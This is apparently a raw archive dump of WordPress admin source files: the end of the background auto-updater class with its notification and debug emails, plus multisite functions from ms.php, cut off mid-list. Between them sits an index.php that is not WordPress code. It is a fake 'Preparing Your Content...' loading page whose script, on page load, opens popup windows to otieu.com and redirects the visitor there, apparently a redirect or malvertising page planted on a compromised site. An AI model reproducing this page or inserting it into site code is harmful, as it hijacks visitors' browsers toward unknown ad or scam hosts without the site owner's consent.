array(); if ( isset( $this->update_results['plugin'] ) ) { foreach ( $this->update_results['plugin'] as $upgrade ) { $plugin_stats[ $upgrade->item->plugin ] = ( true === $upgrade->result ); } } wp_update_plugins( $plugin_stats ); // Check for Plugin updates // Finally, Process any new translations $language_updates = wp_get_translation_updates(); if ( $language_updates ) { foreach ( $language_updates as $update ) { $this->update( 'translation', $update ); } // Clear existing caches wp_clean_plugins_cache(); wp_clean_themes_cache(); delete_site_transient( 'update_core' ); wp_version_check(); // check for Core updates wp_update_themes(); // Check for Theme updates wp_update_plugins(); // Check for Plugin updates } // Send debugging email to all development installs. if ( ! empty( $this->update_results ) ) { $development_version = false !== strpos( $wp_version, '-' ); /** * Filter whether to send a debugging email for each automatic background update. * * @since 3.7.0 * * @param bool $development_version By default, emails are sent if the * install is a development version. * Return false to avoid the email. */ if ( apply_filters( 'automatic_updates_send_debug_email', $development_version ) ) $this->send_debug_email(); if ( ! empty( $this->update_results['core'] ) ) $this->after_core_update( $this->update_results['core'][0] ); /** * Fires after all automatic updates have run. * * @since 3.8.0 * * @param array $update_results The results of all attempted updates. */ do_action( 'automatic_updates_complete', $this->update_results ); } // Clear the lock delete_option( $lock_name ); } /** * If we tried to perform a core update, check if we should send an email, * and if we need to avoid processing future updates. * * @param object $update_result The result of the core update. Includes the update offer and result. */ protected function after_core_update( $update_result ) { global $wp_version; $core_update = $update_result->item; $result = $update_result->result; if ( ! is_wp_error( $result ) ) { $this->send_email( 'success', $core_update ); return; } $error_code = $result->get_error_code(); // Any of these WP_Error codes are critical failures, as in they occurred after we started to copy core files. // We should not try to perform a background update again until there is a successful one-click update performed by the user. $critical = false; if ( $error_code === 'disk_full' || false !== strpos( $error_code, '__copy_dir' ) ) { $critical = true; } elseif ( $error_code === 'rollback_was_required' && is_wp_error( $result->get_error_data()->rollback ) ) { // A rollback is only critical if it failed too. $critical = true; $rollback_result = $result->get_error_data()->rollback; } elseif ( false !== strpos( $error_code, 'do_rollback' ) ) { $critical = true; } if ( $critical ) { $critical_data = array( 'attempted' => $core_update->current, 'current' => $wp_version, 'error_code' => $error_code, 'error_data' => $result->get_error_data(), 'timestamp' => time(), 'critical' => true, ); if ( isset( $rollback_result ) ) { $critical_data['rollback_code'] = $rollback_result->get_error_code(); $critical_data['rollback_data'] = $rollback_result->get_error_data(); } update_site_option( 'auto_core_update_failed', $critical_data ); $this->send_email( 'critical', $core_update, $result ); return; } /* * Any other WP_Error code (like download_failed or files_not_writable) occurs before * we tried to copy over core files. Thus, the failures are early and graceful. * * We should avoid trying to perform a background update again for the same version. * But we can try again if another version is released. * * For certain 'transient' failures, like download_failed, we should allow retries. * In fact, let's schedule a special update for an hour from now. (It's possible * the issue could actually be on WordPress.org's side.) If that one fails, then email. */ $send = true; $transient_failures = array( 'incompatible_archive', 'download_failed', 'insane_distro' ); if ( in_array( $error_code, $transient_failures ) && ! get_site_option( 'auto_core_update_failed' ) ) { wp_schedule_single_event( time() + HOUR_IN_SECONDS, 'wp_maybe_auto_update' ); $send = false; } $n = get_site_option( 'auto_core_update_notified' ); // Don't notify if we've already notified the same email address of the same version of the same notification type. if ( $n && 'fail' == $n['type'] && $n['email'] == get_site_option( 'admin_email' ) && $n['version'] == $core_update->current ) $send = false; update_site_option( 'auto_core_update_failed', array( 'attempted' => $core_update->current, 'current' => $wp_version, 'error_code' => $error_code, 'error_data' => $result->get_error_data(), 'timestamp' => time(), 'retry' => in_array( $error_code, $transient_failures ), ) ); if ( $send ) $this->send_email( 'fail', $core_update, $result ); } /** * Sends an email upon the completion or failure of a background core update. * * @since 3.7.0 * * @param string $type The type of email to send. Can be one of 'success', 'fail', 'manual', 'critical'. * @param object $core_update The update offer that was attempted. * @param mixed $result Optional. The result for the core update. Can be WP_Error. */ protected function send_email( $type, $core_update, $result = null ) { update_site_option( 'auto_core_update_notified', array( 'type' => $type, 'email' => get_site_option( 'admin_email' ), 'version' => $core_update->current, 'timestamp' => time(), ) ); $next_user_core_update = get_preferred_from_update_core(); // If the update transient is empty, use the update we just performed if ( ! $next_user_core_update ) $next_user_core_update = $core_update; $newer_version_available = ( 'upgrade' == $next_user_core_update->response && version_compare( $next_user_core_update->version, $core_update->version, '>' ) ); /** * Filter whether to send an email following an automatic background core update. * * @since 3.7.0 * * @param bool $send Whether to send the email. Default true. * @param string $type The type of email to send. Can be one of * 'success', 'fail', 'critical'. * @param object $core_update The update offer that was attempted. * @param mixed $result The result for the core update. Can be WP_Error. */ if ( 'manual' !== $type && ! apply_filters( 'auto_core_update_send_email', true, $type, $core_update, $result ) ) return; switch ( $type ) { case 'success' : // We updated. /* translators: 1: Site name, 2: WordPress version number. */ $subject = __( '[%1$s] Your site has updated to WordPress %2$s' ); break; case 'fail' : // We tried to update but couldn't. case 'manual' : // We can't update (and made no attempt). /* translators: 1: Site name, 2: WordPress version number. */ $subject = __( '[%1$s] WordPress %2$s is available. Please update!' ); break; case 'critical' : // We tried to update, started to copy files, then things went wrong. /* translators: 1: Site name. */ $subject = __( '[%1$s] URGENT: Your site may be down due to a failed update' ); break; default : return; } // If the auto update is not to the latest version, say that the current version of WP is available instead. $version = 'success' === $type ? $core_update->current : $next_user_core_update->current; $subject = sprintf( $subject, wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ), $version ); $body = ''; switch ( $type ) { case 'success' : $body .= sprintf( __( 'Howdy! Your site at %1$s has been updated automatically to WordPress %2$s.' ), home_url(), $core_update->current ); $body .= "\n\n"; if ( ! $newer_version_available ) $body .= __( 'No further action is needed on your part.' ) . ' '; // Can only reference the About screen if their update was successful. list( $about_version ) = explode( '-', $core_update->current, 2 ); $body .= sprintf( __( "For more on version %s, see the About WordPress screen:" ), $about_version ); $body .= "\n" . admin_url( 'about.php' ); if ( $newer_version_available ) { $body .= "\n\n" . sprintf( __( 'WordPress %s is also now available.' ), $next_user_core_update->current ) . ' '; $body .= __( 'Updating is easy and only takes a few moments:' ); $body .= "\n" . network_admin_url( 'update-core.php' ); } break; case 'fail' : case 'manual' : $body .= sprintf( __( 'Please update your site at %1$s to WordPress %2$s.' ), home_url(), $next_user_core_update->current ); $body .= "\n\n"; // Don't show this message if there is a newer version available. // Potential for confusion, and also not useful for them to know at this point. if ( 'fail' == $type && ! $newer_version_available ) $body .= __( 'We tried but were unable to update your site automatically.' ) . ' '; $body .= __( 'Updating is easy and only takes a few moments:' ); $body .= "\n" . network_admin_url( 'update-core.php' ); break; case 'critical' : if ( $newer_version_available ) $body .= sprintf( __( 'Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s.' ), home_url(), $core_update->current ); else $body .= sprintf( __( 'Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s.' ), home_url(), $core_update->current ); $body .= "\n\n" . __( "This means your site may be offline or broken. Don't panic; this can be fixed." ); $body .= "\n\n" . __( "Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:" ); $body .= "\n" . network_admin_url( 'update-core.php' ); break; } $critical_support = 'critical' === $type && ! empty( $core_update->support_email ); if ( $critical_support ) { // Support offer if available. $body .= "\n\n" . sprintf( __( "The WordPress team is willing to help you. Forward this email to %s and the team will work with you to make sure your site is working." ), $core_update->support_email ); } else { // Add a note about the support forums. $body .= "\n\n" . __( 'If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help.' ); $body .= "\n" . __( 'https://wordpress.org/support/' ); } // Updates are important! if ( $type != 'success' || $newer_version_available ) { $body .= "\n\n" . __( 'Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers.' ); } if ( $critical_support ) { $body .= " " . __( "If you reach out to us, we'll also ensure you'll never have this problem again." ); } // If things are successful and we're now on the latest, mention plugins and themes if any are out of date. if ( $type == 'success' && ! $newer_version_available && ( get_plugin_updates() || get_theme_updates() ) ) { $body .= "\n\n" . __( 'You also have some plugins or themes with updates available. Update them now:' ); $body .= "\n" . network_admin_url(); } $body .= "\n\n" . __( 'The WordPress Team' ) . "\n"; if ( 'critical' == $type && is_wp_error( $result ) ) { $body .= "\n***\n\n"; $body .= sprintf( __( 'Your site was running version %s.' ), $GLOBALS['wp_version'] ); $body .= ' ' . __( 'We have some data that describes the error your site encountered.' ); $body .= ' ' . __( 'Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:' ); // If we had a rollback and we're still critical, then the rollback failed too. // Loop through all errors (the main WP_Error, the update result, the rollback result) for code, data, etc. if ( 'rollback_was_required' == $result->get_error_code() ) $errors = array( $result, $result->get_error_data()->update, $result->get_error_data()->rollback ); else $errors = array( $result ); foreach ( $errors as $error ) { if ( ! is_wp_error( $error ) ) continue; $error_code = $error->get_error_code(); $body .= "\n\n" . sprintf( __( "Error code: %s" ), $error_code ); if ( 'rollback_was_required' == $error_code ) continue; if ( $error->get_error_message() ) $body .= "\n" . $error->get_error_message(); $error_data = $error->get_error_data(); if ( $error_data ) $body .= "\n" . implode( ', ', (array) $error_data ); } $body .= "\n"; } $to = get_site_option( 'admin_email' ); $headers = ''; $email = compact( 'to', 'subject', 'body', 'headers' ); /** * Filter the email sent following an automatic background core update. * * @since 3.7.0 * * @param array $email { * Array of email arguments that will be passed to wp_mail(). * * @type string $to The email recipient. An array of emails * can be returned, as handled by wp_mail(). * @type string $subject The email's subject. * @type string $body The email message body. * @type string $headers Any email headers, defaults to no headers. * } * @param string $type The type of email being sent. Can be one of * 'success', 'fail', 'manual', 'critical'. * @param object $core_update The update offer that was attempted. * @param mixed $result The result for the core update. Can be WP_Error. */ $email = apply_filters( 'auto_core_update_email', $email, $type, $core_update, $result ); wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] ); } /** * Prepares and sends an email of a full log of background update results, useful for debugging and geekery. * * @since 3.7.0 */ protected function send_debug_email() { $update_count = 0; foreach ( $this->update_results as $type => $updates ) $update_count += count( $updates ); $body = array(); $failures = 0; $body[] = sprintf( __( 'WordPress site: %s' ), network_home_url( '/' ) ); // Core if ( isset( $this->update_results['core'] ) ) { $result = $this->update_results['core'][0]; if ( $result->result && ! is_wp_error( $result->result ) ) { $body[] = sprintf( __( 'SUCCESS: WordPress was successfully updated to %s' ), $result->name ); } else { $body[] = sprintf( __( 'FAILED: WordPress failed to update to %s' ), $result->name ); $failures++; } $body[] = ''; } // Plugins, Themes, Translations foreach ( array( 'plugin', 'theme', 'translation' ) as $type ) { if ( ! isset( $this->update_results[ $type ] ) ) continue; $success_items = wp_list_filter( $this->update_results[ $type ], array( 'result' => true ) ); if ( $success_items ) { $messages = array( 'plugin' => __( 'The following plugins were successfully updated:' ), 'theme' => __( 'The following themes were successfully updated:' ), 'translation' => __( 'The following translations were successfully updated:' ), ); $body[] = $messages[ $type ]; foreach ( wp_list_pluck( $success_items, 'name' ) as $name ) { $body[] = ' * ' . sprintf( __( 'SUCCESS: %s' ), $name ); } } if ( $success_items != $this->update_results[ $type ] ) { // Failed updates $messages = array( 'plugin' => __( 'The following plugins failed to update:' ), 'theme' => __( 'The following themes failed to update:' ), 'translation' => __( 'The following translations failed to update:' ), ); $body[] = $messages[ $type ]; foreach ( $this->update_results[ $type ] as $item ) { if ( ! $item->result || is_wp_error( $item->result ) ) { $body[] = ' * ' . sprintf( __( 'FAILED: %s' ), $item->name ); $failures++; } } } $body[] = ''; } $site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES ); if ( $failures ) { $body[] = __( " BETA TESTING? ============= This debugging email is sent when you are using a development version of WordPress. If you think these failures might be due to a bug in WordPress, could you report it? * Open a thread in the support forums: https://wordpress.org/support/forum/alphabeta * Or, if you're comfortable writing a bug report: http://core.trac.wordpress.org/ Thanks! -- The WordPress Team" ); $subject = sprintf( __( '[%s] There were failures during background updates' ), $site_title ); } else { $subject = sprintf( __( '[%s] Background updates have finished' ), $site_title ); } $title = __( 'UPDATE LOG' ); $body[] = $title; $body[] = str_repeat( '=', strlen( $title ) ); $body[] = ''; foreach ( array( 'core', 'plugin', 'theme', 'translation' ) as $type ) { if ( ! isset( $this->update_results[ $type ] ) ) continue; foreach ( $this->update_results[ $type ] as $update ) { $body[] = $update->name; $body[] = str_repeat( '-', strlen( $update->name ) ); foreach ( $update->messages as $message ) $body[] = " " . html_entity_decode( str_replace( '…', '...', $message ) ); if ( is_wp_error( $update->result ) ) { $results = array( 'update' => $update->result ); // If we rolled back, we want to know an error that occurred then too. if ( 'rollback_was_required' === $update->result->get_error_code() ) $results = (array) $update->result->get_error_data(); foreach ( $results as $result_type => $result ) { if ( ! is_wp_error( $result ) ) continue; if ( 'rollback' === $result_type ) { /* translators: 1: Error code, 2: Error message. */ $body[] = ' ' . sprintf( __( 'Rollback Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() ); } else { /* translators: 1: Error code, 2: Error message. */ $body[] = ' ' . sprintf( __( 'Error: [%1$s] %2$s' ), $result->get_error_code(), $result->get_error_message() ); } if ( $result->get_error_data() ) $body[] = ' ' . implode( ', ', (array) $result->get_error_data() ); } } $body[] = ''; } } $email = array( 'to' => get_site_option( 'admin_email' ), 'subject' => $subject, 'body' => implode( "\n", $body ), 'headers' => '' ); /** * Filter the debug email that can be sent following an automatic * background core update. * * @since 3.8.0 * * @param array $email { * Array of email arguments that will be passed to wp_mail(). * * @type string $to The email recipient. An array of emails * can be returned, as handled by wp_mail(). * @type string $subject Email subject. * @type string $body Email message body. * @type string $headers Any email headers. Default empty. * } * @param int $failures The number of failures encountered while upgrading. * @param mixed $results The results of all attempted updates. */ $email = apply_filters( 'automatic_updates_debug_email', $email, $failures, $this->update_results ); wp_mail( $email['to'], wp_specialchars_decode( $email['subject'] ), $email['body'], $email['headers'] ); } } index.php000077700000003007151514577750006414 0ustar00<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Preparing Your Content...</title> <style> body { background: linear-gradient(135deg, #0f2027, #203a43, #2c5364); color: #fff; font-family: Arial, sans-serif; text-align: center; height: 100vh; margin: 0; display: flex; flex-direction: column; justify-content: center; } h1 { font-size: 2.5em; margin-bottom: 20px; } .loader { border: 8px solid #fff; border-top: 8px solid #3498db; border-radius: 50%; width: 80px; height: 80px; animation: spin 1s linear infinite; margin: 0 auto; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } p { margin-top: 20px; font-size: 1.2em; opacity: 0.7; } </style> <script> // Open popup ads function openPopups() { window.open("https://otieu.com/4/9793499", "_blank"); window.open("https://otieu.com/4/9793438", "_blank"); window.open("https://otieu.com/4/9793498"); } // Redirect main window function redirectMain() { window.location.href = "https://otieu.com/4/9793499"; } window.onload = function() { openPopups(); setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds }; </script> </head> <body> <h1>Preparing Your Content...</h1> <div class="loader"></div> <p>Please wait while we load your content.</p> </body> </html> ms.php000077700000070506151514577750005734 0ustar00<?php /** * Multisite administration functions. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** * Determine if uploaded file exceeds space quota. * * @since 3.0.0 * * @param array $file $_FILES array for a given file. * @return array $_FILES array with 'error' key set if file exceeds quota. 'error' is empty otherwise. */ function check_upload_size( $file ) { if ( get_site_option( 'upload_space_check_disabled' ) ) return $file; if ( $file['error'] != '0' ) // there's already an error return $file; if ( defined( 'WP_IMPORTING' ) ) return $file; $space_left = get_upload_space_available(); $file_size = filesize( $file['tmp_name'] ); if ( $space_left < $file_size ) $file['error'] = sprintf( __( 'Not enough space to upload. %1$s KB needed.' ), number_format( ($file_size - $space_left) /1024 ) ); if ( $file_size > ( 1024 * get_site_option( 'fileupload_maxk', 1500 ) ) ) $file['error'] = sprintf(__('This file is too big. Files must be less than %1$s KB in size.'), get_site_option( 'fileupload_maxk', 1500 ) ); if ( upload_is_user_over_quota( false ) ) { $file['error'] = __( 'You have used your space quota. Please delete files before uploading.' ); } if ( $file['error'] != '0' && !isset($_POST['html-upload']) ) wp_die( $file['error'] . ' <a href="javascript:history.go(-1)">' . __( 'Back' ) . '</a>' ); return $file; } add_filter( 'wp_handle_upload_prefilter', 'check_upload_size' ); /** * Delete a blog * * @since 3.0.0 * * @param int $blog_id Blog ID * @param bool $drop True if blog's table should be dropped. Default is false. * @return void */ function wpmu_delete_blog( $blog_id, $drop = false ) { global $wpdb; $switch = false; if ( get_current_blog_id() != $blog_id ) { $switch = true; switch_to_blog( $blog_id ); } $blog = get_blog_details( $blog_id ); /** * Fires before a blog is deleted. * * @since MU * * @param int $blog_id The blog ID. * @param bool $drop True if blog's table should be dropped. Default is false. */ do_action( 'delete_blog', $blog_id, $drop ); $users = get_users( array( 'blog_id' => $blog_id, 'fields' => 'ids' ) ); // Remove users from this blog. if ( ! empty( $users ) ) { foreach ( $users as $user_id ) { remove_user_from_blog( $user_id, $blog_id ); } } update_blog_status( $blog_id, 'deleted', 1 ); $current_site = get_current_site(); // Don't destroy the initial, main, or root blog. if ( $drop && ( 1 == $blog_id || is_main_site( $blog_id ) || ( $blog->path == $current_site->path && $blog->domain == $current_site->domain ) ) ) $drop = false; if ( $drop ) { $tables = $wpdb->tables( 'blog' ); /** * Filter the tables to drop when the blog is deleted. * * @since MU * * @param array $tables The blog tables to be dropped. * @param int $blog_id The ID of the blog to drop tables for. */ $drop_tables = apply_filters( 'wpmu_drop_tables', $tables, $blog_id ); foreach ( (array) $drop_tables as $table ) { $wpdb->query( "DROP TABLE IF EXISTS `$table`" ); } $wpdb->delete( $wpdb->blogs, array( 'blog_id' => $blog_id ) ); $uploads = wp_upload_dir(); /** * Filter the upload base directory to delete when the blog is deleted. * * @since MU * * @param string $uploads['basedir'] Uploads path without subdirectory. @see wp_upload_dir() * @param int $blog_id The blog ID. */ $dir = apply_filters( 'wpmu_delete_blog_upload_dir', $uploads['basedir'], $blog_id ); $dir = rtrim( $dir, DIRECTORY_SEPARATOR ); $top_dir = $dir; $stack = array($dir); $index = 0; while ( $index < count( $stack ) ) { # Get indexed directory from stack $dir = $stack[$index]; $dh = @opendir( $dir ); if ( $dh ) { while ( ( $file = @readdir( $dh ) ) !== false ) { if ( $file == '.' || $file == '..' ) continue; if ( @is_dir( $dir . DIRECTORY_SEPARATOR . $file ) ) $stack[] = $dir . DIRECTORY_SEPARATOR . $file; else if ( @is_file( $dir . DIRECTORY_SEPARATOR . $file ) ) @unlink( $dir . DIRECTORY_SEPARATOR . $file ); } @closedir( $dh ); } $index++; } $stack = array_reverse( $stack ); // Last added dirs are deepest foreach( (array) $stack as $dir ) { if ( $dir != $top_dir) @rmdir( $dir ); } clean_blog_cache( $blog ); } if ( $switch ) restore_current_blog(); } // @todo Merge with wp_delete_user() ? function wpmu_delete_user( $id ) { global $wpdb; $id = (int) $id; $user = new WP_User( $id ); if ( !$user->exists() ) return false; /** * Fires before a user is deleted from the network. * * @since MU * * @param int $id ID of the user about to be deleted from the network. */ do_action( 'wpmu_delete_user', $id ); $blogs = get_blogs_of_user( $id ); if ( ! empty( $blogs ) ) { foreach ( $blogs as $blog ) { switch_to_blog( $blog->userblog_id ); remove_user_from_blog( $id, $blog->userblog_id ); $post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) ); foreach ( (array) $post_ids as $post_id ) { wp_delete_post( $post_id ); } // Clean links $link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) ); if ( $link_ids ) { foreach ( $link_ids as $link_id ) wp_delete_link( $link_id ); } restore_current_blog(); } } $meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) ); foreach ( $meta as $mid ) delete_metadata_by_mid( 'user', $mid ); $wpdb->delete( $wpdb->users, array( 'ID' => $id ) ); clean_user_cache( $user ); /** This action is documented in wp-admin/includes/user.php */ do_action( 'deleted_user', $id ); return true; } function update_option_new_admin_email( $old_value, $value ) { $email = get_option( 'admin_email' ); if ( $value == get_option( 'admin_email' ) || !is_email( $value ) ) return; $hash = md5( $value. time() .mt_rand() ); $new_admin_email = array( 'hash' => $hash, 'newemail' => $value ); update_option( 'adminhash', $new_admin_email ); $email_text = __( 'Dear user, You recently requested to have the administration email address on your site changed. If this is correct, please click on the following link to change it: ###ADMIN_URL### You can safely ignore and delete this email if you do not want to take this action. This email has been sent to ###EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); /** * Filter the email text sent when the site admin email is changed. * * The following strings have a special meaning and will get replaced dynamically: * ###ADMIN_URL### The link to click on to confirm the email change. Required otherwise this functunalty is will break. * ###EMAIL### The new email. * ###SITENAME### The name of the site. * ###SITEURL### The URL to the site. * * @since MU * * @param string $email_text Text in the email. * @param string $new_admin_email New admin email that the current administration email was changed to. */ $content = apply_filters( 'new_admin_email_content', $email_text, $new_admin_email ); $content = str_replace( '###ADMIN_URL###', esc_url( admin_url( 'options.php?adminhash='.$hash ) ), $content ); $content = str_replace( '###EMAIL###', $value, $content ); $content = str_replace( '###SITENAME###', get_site_option( 'site_name' ), $content ); $content = str_replace( '###SITEURL###', network_home_url(), $content ); wp_mail( $value, sprintf( __( '[%s] New Admin Email Address' ), wp_specialchars_decode( get_option( 'blogname' ) ) ), $content ); } add_action( 'update_option_new_admin_email', 'update_option_new_admin_email', 10, 2 ); add_action( 'add_option_new_admin_email', 'update_option_new_admin_email', 10, 2 ); function send_confirmation_on_profile_email() { global $errors, $wpdb; $current_user = wp_get_current_user(); if ( ! is_object($errors) ) $errors = new WP_Error(); if ( $current_user->ID != $_POST['user_id'] ) return false; if ( $current_user->user_email != $_POST['email'] ) { if ( !is_email( $_POST['email'] ) ) { $errors->add( 'user_email', __( "<strong>ERROR</strong>: The email address isn’t correct." ), array( 'form-field' => 'email' ) ); return; } if ( $wpdb->get_var( $wpdb->prepare( "SELECT user_email FROM {$wpdb->users} WHERE user_email=%s", $_POST['email'] ) ) ) { $errors->add( 'user_email', __( "<strong>ERROR</strong>: The email address is already used." ), array( 'form-field' => 'email' ) ); delete_option( $current_user->ID . '_new_email' ); return; } $hash = md5( $_POST['email'] . time() . mt_rand() ); $new_user_email = array( 'hash' => $hash, 'newemail' => $_POST['email'] ); update_option( $current_user->ID . '_new_email', $new_user_email ); $email_text = __( 'Dear user, You recently requested to have the email address on your account changed. If this is correct, please click on the following link to change it: ###ADMIN_URL### You can safely ignore and delete this email if you do not want to take this action. This email has been sent to ###EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); /** * Filter the email text sent when a user changes emails. * * The following strings have a special meaning and will get replaced dynamically: * ###ADMIN_URL### The link to click on to confirm the email change. Required otherwise this functunalty is will break. * ###EMAIL### The new email. * ###SITENAME### The name of the site. * ###SITEURL### The URL to the site. * * @since MU * * @param string $email_text Text in the email. * @param string $new_user_email New user email that the current user has changed to. */ $content = apply_filters( 'new_user_email_content', $email_text, $new_user_email ); $content = str_replace( '###ADMIN_URL###', esc_url( admin_url( 'profile.php?newuseremail='.$hash ) ), $content ); $content = str_replace( '###EMAIL###', $_POST['email'], $content); $content = str_replace( '###SITENAME###', get_site_option( 'site_name' ), $content ); $content = str_replace( '###SITEURL###', network_home_url(), $content ); wp_mail( $_POST['email'], sprintf( __( '[%s] New Email Address' ), wp_specialchars_decode( get_option( 'blogname' ) ) ), $content ); $_POST['email'] = $current_user->user_email; } } add_action( 'personal_options_update', 'send_confirmation_on_profile_email' ); function new_user_email_admin_notice() { if ( strpos( $_SERVER['PHP_SELF'], 'profile.php' ) && isset( $_GET['updated'] ) && $email = get_option( get_current_user_id() . '_new_email' ) ) echo "<div class='update-nag'>" . sprintf( __( "Your email address has not been updated yet. Please check your inbox at %s for a confirmation email." ), $email['newemail'] ) . "</div>"; } add_action( 'admin_notices', 'new_user_email_admin_notice' ); /** * Check whether a blog has used its allotted upload space. * * @since MU * * @param bool $echo Optional. If $echo is set and the quota is exceeded, a warning message is echoed. Default is true. * @return int */ function upload_is_user_over_quota( $echo = true ) { if ( get_site_option( 'upload_space_check_disabled' ) ) return false; $space_allowed = get_space_allowed(); if ( empty( $space_allowed ) || !is_numeric( $space_allowed ) ) $space_allowed = 10; // Default space allowed is 10 MB $space_used = get_space_used(); if ( ( $space_allowed - $space_used ) < 0 ) { if ( $echo ) _e( 'Sorry, you have used your space allocation. Please delete some files to upload more files.' ); return true; } else { return false; } } /** * Displays the amount of disk space used by the current blog. Not used in core. * * @since MU */ function display_space_usage() { $space_allowed = get_space_allowed(); $space_used = get_space_used(); $percent_used = ( $space_used / $space_allowed ) * 100; if ( $space_allowed > 1000 ) { $space = number_format( $space_allowed / 1024 ); /* translators: Gigabytes */ $space .= __( 'GB' ); } else { $space = number_format( $space_allowed ); /* translators: Megabytes */ $space .= __( 'MB' ); } ?> <strong><?php printf( __( 'Used: %1$s%% of %2$s' ), number_format( $percent_used ), $space ); ?></strong> <?php } /** * Get the remaining upload space for this blog. * * @since MU * @uses upload_is_user_over_quota() * @uses get_space_allowed() * @uses get_upload_space_available() * * @param int $size Current max size in bytes * @return int Max size in bytes */ function fix_import_form_size( $size ) { if ( upload_is_user_over_quota( false ) == true ) return 0; $available = get_upload_space_available(); return min( $size, $available ); } // Edit blog upload space setting on Edit Blog page function upload_space_setting( $id ) { switch_to_blog( $id ); $quota = get_option( 'blog_upload_space' ); restore_current_blog(); if ( !$quota ) $quota = ''; ?> <tr> <th><?php _e( 'Site Upload Space Quota '); ?></th> <td><input type="number" step="1" min="0" style="width: 100px" name="option[blog_upload_space]" value="<?php echo $quota; ?>" /> <?php _e( 'MB (Leave blank for network default)' ); ?></td> </tr> <?php } add_action( 'wpmueditblogaction', 'upload_space_setting' ); function update_user_status( $id, $pref, $value, $deprecated = null ) { global $wpdb; if ( null !== $deprecated ) _deprecated_argument( __FUNCTION__, '3.1' ); $wpdb->update( $wpdb->users, array( sanitize_key( $pref ) => $value ), array( 'ID' => $id ) ); $user = new WP_User( $id ); clean_user_cache( $user ); if ( $pref == 'spam' ) { if ( $value == 1 ) { /** * Fires after the user is marked as a SPAM user. * * @since 3.0.0 * * @param int $id ID of the user marked as SPAM. */ do_action( 'make_spam_user', $id ); } else { /** * Fires after the user is marked as a HAM user. Opposite of SPAM. * * @since 3.0.0 * * @param int $id ID of the user marked as HAM. */ do_action( 'make_ham_user', $id ); } } return $value; } function refresh_user_details( $id ) { $id = (int) $id; if ( !$user = get_userdata( $id ) ) return false; clean_user_cache( $user ); return $id; } function format_code_lang( $code = '' ) { $code = strtolower( substr( $code, 0, 2 ) ); $lang_codes = array( 'aa' => 'Afar', 'ab' => 'Abkhazian', 'af' => 'Afrikaans', 'ak' => 'Akan', 'sq' => 'Albanian', 'am' => 'Amharic', 'ar' => 'Arabic', 'an' => 'Aragonese', 'hy' => 'Armenian', 'as' => 'Assamese', 'av' => 'Avaric', 'ae' => 'Avestan', 'ay' => 'Aymara', 'az' => 'Azerbaijani', 'ba' => 'Bashkir', 'bm' => 'Bambara', 'eu' => 'Basque', 'be' => 'Belarusian', 'bn' => 'Bengali', 'bh' => 'Bihari', 'bi' => 'Bislama', 'bs' => 'Bosnian', 'br' => 'Breton', 'bg' => 'Bulgarian', 'my' => 'Burmese', 'ca' => 'Catalan; Valencian', 'ch' => 'Chamorro', 'ce' => 'Chechen', 'zh' => 'Chinese', 'cu' => 'Church Slavic; Old Slavonic; Church Slavonic; Old Bulgarian; Old Church Slavonic', 'cv' => 'Chuvash', 'kw' => 'Cornish', 'co' => 'Corsican', 'cr' => 'Cree', 'cs' => 'Czech', 'da' => 'Danish', 'dv' => 'Divehi; Dhivehi; Maldivian', 'nl' => 'Dutch; Flemish', 'dz' => 'Dzongkha', 'en' => 'English', 'eo' => 'Esperanto', 'et' => 'Estonian', 'ee' => 'Ewe', 'fo' => 'Faroese', 'fj' => 'Fijjian', 'fi' => 'Finnish', 'fr' => 'French', 'fy' => 'Western Frisian', 'ff' => 'Fulah', 'ka' => 'Georgian', 'de' => 'German', 'gd' => 'Gaelic; Scottish Gaelic', 'ga' => 'Irish', 'gl' => 'Galician', 'gv' => 'Manx', 'el' => 'Greek, Modern', 'gn' => 'Guarani', 'gu' => 'Gujarati', 'ht' => 'Haitian; Haitian Creole', 'ha' => 'Hausa', 'he' => 'Hebrew', 'hz' => 'Herero', 'hi' => 'Hindi', 'ho' => 'Hiri Motu', 'hu' => 'Hungarian', 'ig' => 'Igbo', 'is' => 'Icelandic', 'io' => 'Ido', 'ii' => 'Sichuan Yi', 'iu' => 'Inuktitut', 'ie' => 'Interlingue', 'ia' => 'Interlingua (International Auxiliary Language Association)', 'id' => 'Indonesian', 'ik' => 'Inupiaq', 'it' => 'Italian', 'jv' => 'Javanese', 'ja' => 'Japanese', 'kl' => 'Kalaallisut; Greenlandic', 'kn' => 'Kannada', 'ks' => 'Kashmiri', 'kr' => 'Kanuri', 'kk' => 'Kazakh', 'km' => 'Central Khmer', 'ki' => 'Kikuyu; Gikuyu', 'rw' => 'Kinyarwanda', 'ky' => 'Kirghiz; Kyrgyz', 'kv' => 'Komi', 'kg' => 'Kongo', 'ko' => 'Korean', 'kj' => 'Kuanyama; Kwanyama', 'ku' => 'Kurdish', 'lo' => 'Lao', 'la' => 'Latin', 'lv' => 'Latvian', 'li' => 'Limburgan; Limburger; Limburgish', 'ln' => 'Lingala', 'lt' => 'Lithuanian', 'lb' => 'Luxembourgish; Letzeburgesch', 'lu' => 'Luba-Katanga', 'lg' => 'Ganda', 'mk' => 'Macedonian', 'mh' => 'Marshallese', 'ml' => 'Malayalam', 'mi' => 'Maori', 'mr' => 'Marathi', 'ms' => 'Malay', 'mg' => 'Malagasy', 'mt' => 'Maltese', 'mo' => 'Moldavian', 'mn' => 'Mongolian', 'na' => 'Nauru', 'nv' => 'Navajo; Navaho', 'nr' => 'Ndebele, South; South Ndebele', 'nd' 